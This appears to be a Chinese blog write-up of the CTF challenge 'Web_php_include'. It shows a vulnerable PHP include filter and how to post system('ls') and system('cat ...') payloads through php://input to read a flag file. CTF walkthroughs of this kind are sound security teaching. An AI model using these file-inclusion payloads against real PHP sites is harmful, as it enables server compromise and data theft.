Web_php_include 攻防世界

复制代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {    以是否检测到php://为判断执行循环
    $page=str_replace("php://", "", $page);//传入空值,替换
}
include($page);
?>

综上分析,get方式好像挺难去看到这个flag的,因为这种代码下的flag通常放在一个文件中,需要先展开ls,然后在cat查看。那我们就尝试用post传参

准备好一个Firefox 一个max hackbar

通过php伪协议php://input

首先post传入第一个命令 ,这个命令用来展开目录

复制代码
<php
system("ls")
?>

随后得到fl4gisisish3r3.php 一般这种文件就是flag,

我们使用

复制代码
<?php
system("cat fl4gisisish3r3.php ")//查看文件下的flag
?>

有的flag会直接在屏幕上,有的就藏在背后i的代码里,这个就是

相关推荐
ChineHe1 小时前
互联网Web服务认证技术发展史:从HTTP Basic到OpenID Connect
安全·软件工程·web
sbjdhjd3 小时前
RHCE | Web 服务器与 Nginx 全栈详解
linux·nginx·http·云原生·oracle·架构·web
EterNity_TiMe_4 小时前
跨地域实时共创,使用白板协作不卡壳得最佳解决方案。
人工智能·web·cpolar
ShoreKiten7 小时前
SSTI专题(持续更新)
web·ctf·ssti·模板注入
白帽子凯哥哥9 小时前
大一想打CTF,稍微学了些web想转pwn零基础要如何学习
学习·渗透测试·web·pwn·ctf
智海观潮13 小时前
只用一周时间通过AI工具重写Next.js,Cloudflare推出vinext重建前端开发边界
开发语言·javascript·人工智能·大模型·web
酉鬼女又兒1 天前
HTML零基础快速入门篇(可用于备赛蓝桥杯Web应用开发) 牛客手把手戴刷FED1~8:基本标签,基本标签,媒体标签详解
前端·职场和发展·蓝桥杯·html·web
Dorimui1 天前
Ctf组会-网络基础,一篇总览基本的网络知识
ctf·网络基础
ShoreKiten2 天前
命令执行专题(持续更新)
web安全·php·ctf·rce